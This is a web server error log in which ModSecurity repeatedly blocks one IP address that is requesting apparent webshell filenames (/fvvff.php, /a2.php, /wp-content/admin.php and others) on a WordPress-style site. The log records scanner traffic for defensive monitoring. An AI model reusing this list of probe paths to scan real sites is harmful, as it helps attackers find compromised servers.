[Fri Apr 17 14:33:26.769454 2026] [:error] [pid 9263:tid 9272] [client 74.234.56.128:27411] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fvvff.php"] [unique_id "aeHUNhP68VyHNvj1e56jLgAAAMc"]
[Fri Apr 17 14:33:27.296095 2026] [:error] [pid 9153:tid 9224] [client 74.234.56.128:27448] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fvvff.php"] [unique_id "aeHUN-MHGxkTZX3c45fPIwAAAIY"]
[Fri Apr 17 14:33:27.614034 2026] [:error] [pid 9152:tid 9196] [client 74.234.56.128:28011] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/inege.php"] [unique_id "aeHUN5JYca8I3TNCwIf-gQAAAEY"]
[Fri Apr 17 14:33:28.023816 2026] [:error] [pid 9153:tid 9239] [client 74.234.56.128:26387] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fvvff.php"] [unique_id "aeHUOOMHGxkTZX3c45fPJwAAAJU"]
[Fri Apr 17 14:33:28.246471 2026] [:error] [pid 9151:tid 9174] [client 74.234.56.128:25924] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fe5.php"] [unique_id "aeHUOMhTVuRPkua22vQUtgAAAA0"]
[Fri Apr 17 14:33:28.541557 2026] [:error] [pid 9153:tid 9226] [client 74.234.56.128:26987] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a2.php"] [unique_id "aeHUOOMHGxkTZX3c45fPKQAAAIg"]
[Fri Apr 17 14:33:28.891901 2026] [:error] [pid 9263:tid 9281] [client 74.234.56.128:27397] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fe5.php"] [unique_id "aeHUOBP68VyHNvj1e56jMAAAANA"]
[Fri Apr 17 14:33:29.086313 2026] [:error] [pid 9263:tid 9275] [client 74.234.56.128:26902] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a2.php"] [unique_id "aeHUORP68VyHNvj1e56jMQAAAMo"]
[Fri Apr 17 14:33:29.441006 2026] [:error] [pid 9263:tid 9271] [client 74.234.56.128:27933] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fe5.php"] [unique_id "aeHUORP68VyHNvj1e56jMwAAAMY"]
[Fri Apr 17 14:33:29.631434 2026] [:error] [pid 61523:tid 61550] [client 74.234.56.128:27409] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a2.php"] [unique_id "aeHUOcOaH-Pgc7WEf4NGUQAAAcg"]
[Fri Apr 17 14:33:29.956949 2026] [:error] [pid 9153:tid 9227] [client 74.234.56.128:27941] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fe5.php"] [unique_id "aeHUOeMHGxkTZX3c45fPOAAAAIk"]
[Fri Apr 17 14:33:30.188310 2026] [:error] [pid 9153:tid 9232] [client 74.234.56.128:27940] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a2.php"] [unique_id "aeHUOuMHGxkTZX3c45fPOgAAAI4"]
[Fri Apr 17 14:33:30.498043 2026] [:error] [pid 9153:tid 9230] [client 74.234.56.128:24408] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/uuu.php"] [unique_id "aeHUOuMHGxkTZX3c45fPOwAAAIw"]
[Fri Apr 17 14:33:30.742750 2026] [:error] [pid 9151:tid 9179] [client 74.234.56.128:27468] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/edit.php"] [unique_id "aeHUOshTVuRPkua22vQUvQAAABI"]
[Fri Apr 17 14:33:31.062776 2026] [:error] [pid 9263:tid 9279] [client 74.234.56.128:26977] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/uuu.php"] [unique_id "aeHUOxP68VyHNvj1e56jNwAAAM4"]
[Fri Apr 17 14:33:31.294987 2026] [:error] [pid 9263:tid 9272] [client 74.234.56.128:28017] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/edit.php"] [unique_id "aeHUOxP68VyHNvj1e56jOgAAAMc"]
[Fri Apr 17 14:33:31.596331 2026] [:error] [pid 9263:tid 9287] [client 74.234.56.128:27982] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/uuu.php"] [unique_id "aeHUOxP68VyHNvj1e56jOwAAANY"]
[Fri Apr 17 14:33:31.821948 2026] [:error] [pid 9151:tid 9182] [client 74.234.56.128:26940] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/edit.php"] [unique_id "aeHUO8hTVuRPkua22vQUvgAAABU"]
[Fri Apr 17 14:33:32.105739 2026] [:error] [pid 61523:tid 61565] [client 74.234.56.128:26944] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/uuu.php"] [unique_id "aeHUPMOaH-Pgc7WEf4NGUgAAAdc"]
[Fri Apr 17 14:33:32.403375 2026] [:error] [pid 9153:tid 9235] [client 74.234.56.128:27927] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/edit.php"] [unique_id "aeHUPOMHGxkTZX3c45fPPQAAAJE"]
[Fri Apr 17 14:33:32.650344 2026] [:error] [pid 61523:tid 61564] [client 74.234.56.128:27458] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/no1.php"] [unique_id "aeHUPMOaH-Pgc7WEf4NGVAAAAdY"]
[Fri Apr 17 14:33:32.941750 2026] [:error] [pid 61523:tid 61546] [client 74.234.56.128:27423] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ioxi-o.php"] [unique_id "aeHUPMOaH-Pgc7WEf4NGVwAAAcQ"]
[Fri Apr 17 14:33:33.151388 2026] [:error] [pid 34273:tid 34299] [client 74.234.56.128:26949] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/no1.php"] [unique_id "aeHUPWuQDW686mK3dgHDAAAAAZg"]
[Fri Apr 17 14:33:33.514084 2026] [:error] [pid 34273:tid 34289] [client 74.234.56.128:26495] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ioxi-o.php"] [unique_id "aeHUPWuQDW686mK3dgHDAQAAAY4"]
[Fri Apr 17 14:33:33.752590 2026] [:error] [pid 34273:tid 34295] [client 74.234.56.128:24865] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/no1.php"] [unique_id "aeHUPWuQDW686mK3dgHDAgAAAZQ"]
[Fri Apr 17 14:33:34.031200 2026] [:error] [pid 9152:tid 9200] [client 74.234.56.128:28019] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ioxi-o.php"] [unique_id "aeHUPpJYca8I3TNCwIf-hwAAAEo"]
[Fri Apr 17 14:33:34.331010 2026] [:error] [pid 34273:tid 34291] [client 74.234.56.128:27503] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/no1.php"] [unique_id "aeHUPmuQDW686mK3dgHDBQAAAZA"]
[Fri Apr 17 14:33:34.570939 2026] [:error] [pid 34273:tid 34285] [client 74.234.56.128:27930] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ioxi-o.php"] [unique_id "aeHUPmuQDW686mK3dgHDBwAAAYo"]
[Fri Apr 17 14:33:34.990856 2026] [:error] [pid 34273:tid 34296] [client 74.234.56.128:24881] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/w2025.php"] [unique_id "aeHUPmuQDW686mK3dgHDCAAAAZU"]
[Fri Apr 17 14:33:35.087182 2026] [:error] [pid 9151:tid 9163] [client 74.234.56.128:28013] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/admin.php"] [unique_id "aeHUP8hTVuRPkua22vQUwgAAAAI"]
[Fri Apr 17 14:33:35.520953 2026] [:error] [pid 9152:tid 9198] [client 74.234.56.128:25908] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/w2025.php"] [unique_id "aeHUP5JYca8I3TNCwIf-iQAAAEg"]
[Fri Apr 17 14:33:35.633007 2026] [:error] [pid 61523:tid 61562] [client 74.234.56.128:23866] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/admin.php"] [unique_id "aeHUP8OaH-Pgc7WEf4NGWgAAAdQ"]
[Fri Apr 17 14:33:36.049310 2026] [:error] [pid 9151:tid 9164] [client 74.234.56.128:26960] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/w2025.php"] [unique_id "aeHUQMhTVuRPkua22vQUwwAAAAM"]
[Fri Apr 17 14:33:36.200785 2026] [:error] [pid 61523:tid 61541] [client 74.234.56.128:25982] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/admin.php"] [unique_id "aeHUQMOaH-Pgc7WEf4NGXAAAAcA"]
[Fri Apr 17 14:33:36.580157 2026] [:error] [pid 61523:tid 61551] [client 74.234.56.128:27904] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/w2025.php"] [unique_id "aeHUQMOaH-Pgc7WEf4NGYAAAAck"]
[Fri Apr 17 14:33:36.735527 2026] [:error] [pid 34273:tid 34293] [client 74.234.56.128:27491] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/admin.php"] [unique_id "aeHUQGuQDW686mK3dgHDDgAAAZI"]
[Fri Apr 17 14:33:37.084810 2026] [:error] [pid 9151:tid 9180] [client 74.234.56.128:26433] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fvvff.php"] [unique_id "aeHUQchTVuRPkua22vQUxAAAABM"]
[Fri Apr 17 14:33:37.236984 2026] [:error] [pid 34273:tid 34284] [client 74.234.56.128:27946] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/66.php"] [unique_id "aeHUQWuQDW686mK3dgHDEAAAAYk"]
[Fri Apr 17 14:33:37.627668 2026] [:error] [pid 9263:tid 9271] [client 74.234.56.128:28001] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fvvff.php"] [unique_id "aeHUQRP68VyHNvj1e56jTAAAAMY"]
[Fri Apr 17 14:33:37.783574 2026] [:error] [pid 9263:tid 9282] [client 74.234.56.128:23873] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/66.php"] [unique_id "aeHUQRP68VyHNvj1e56jTQAAANE"]
[Fri Apr 17 14:33:38.195873 2026] [:error] [pid 9152:tid 9193] [client 74.234.56.128:24407] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fvvff.php"] [unique_id "aeHUQpJYca8I3TNCwIf-jAAAAEM"]
[Fri Apr 17 14:33:38.320083 2026] [:error] [pid 9151:tid 9177] [client 74.234.56.128:26900] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/66.php"] [unique_id "aeHUQshTVuRPkua22vQUxQAAABA"]
[Fri Apr 17 14:33:38.728740 2026] [:error] [pid 9151:tid 9173] [client 74.234.56.128:27964] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fvvff.php"] [unique_id "aeHUQshTVuRPkua22vQUxgAAAAw"]
[Fri Apr 17 14:33:38.846368 2026] [:error] [pid 9151:tid 9174] [client 74.234.56.128:24417] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/66.php"] [unique_id "aeHUQshTVuRPkua22vQUxwAAAA0"]
[Fri Apr 17 14:33:39.256701 2026] [:error] [pid 61523:tid 61560] [client 74.234.56.128:27995] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a2.php"] [unique_id "aeHUQ8OaH-Pgc7WEf4NGeAAAAdI"]
[Fri Apr 17 14:33:39.344302 2026] [:error] [pid 9153:tid 9230] [client 74.234.56.128:27436] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a5.php"] [unique_id "aeHUQ-MHGxkTZX3c45fPPgAAAIw"]
[Fri Apr 17 14:33:39.759660 2026] [:error] [pid 9153:tid 9218] [client 74.234.56.128:26887] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a2.php"] [unique_id "aeHUQ-MHGxkTZX3c45fPQAAAAIA"]
[Fri Apr 17 14:33:39.906850 2026] [:error] [pid 9153:tid 9233] [client 74.234.56.128:24939] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a5.php"] [unique_id "aeHUQ-MHGxkTZX3c45fPQQAAAI8"]
[Fri Apr 17 14:33:40.259635 2026] [:error] [pid 9152:tid 9207] [client 74.234.56.128:26951] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a2.php"] [unique_id "aeHURJJYca8I3TNCwIf-jgAAAFE"]
[Fri Apr 17 14:33:40.435074 2026] [:error] [pid 9152:tid 9214] [client 74.234.56.128:24922] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a5.php"] [unique_id "aeHURJJYca8I3TNCwIf-jwAAAFg"]
[Fri Apr 17 14:33:40.792568 2026] [:error] [pid 9152:tid 9194] [client 74.234.56.128:26904] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a2.php"] [unique_id "aeHURJJYca8I3TNCwIf-kQAAAEQ"]
[Fri Apr 17 14:33:40.965545 2026] [:error] [pid 9263:tid 9285] [client 74.234.56.128:26880] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a5.php"] [unique_id "aeHURBP68VyHNvj1e56jVgAAANQ"]
[Fri Apr 17 14:33:41.394625 2026] [:error] [pid 9263:tid 9286] [client 74.234.56.128:27401] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/edit.php"] [unique_id "aeHURRP68VyHNvj1e56jWQAAANU"]
[Fri Apr 17 14:33:41.498825 2026] [:error] [pid 9151:tid 9161] [client 74.234.56.128:27399] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ol.php"] [unique_id "aeHURchTVuRPkua22vQUygAAAAA"]
[Fri Apr 17 14:33:42.002531 2026] [:error] [pid 9152:tid 9213] [client 74.234.56.128:27393] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/edit.php"] [unique_id "aeHURpJYca8I3TNCwIf-kgAAAFc"]
[Fri Apr 17 14:33:42.023338 2026] [:error] [pid 9152:tid 9205] [client 74.234.56.128:26968] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ol.php"] [unique_id "aeHURpJYca8I3TNCwIf-kwAAAE8"]
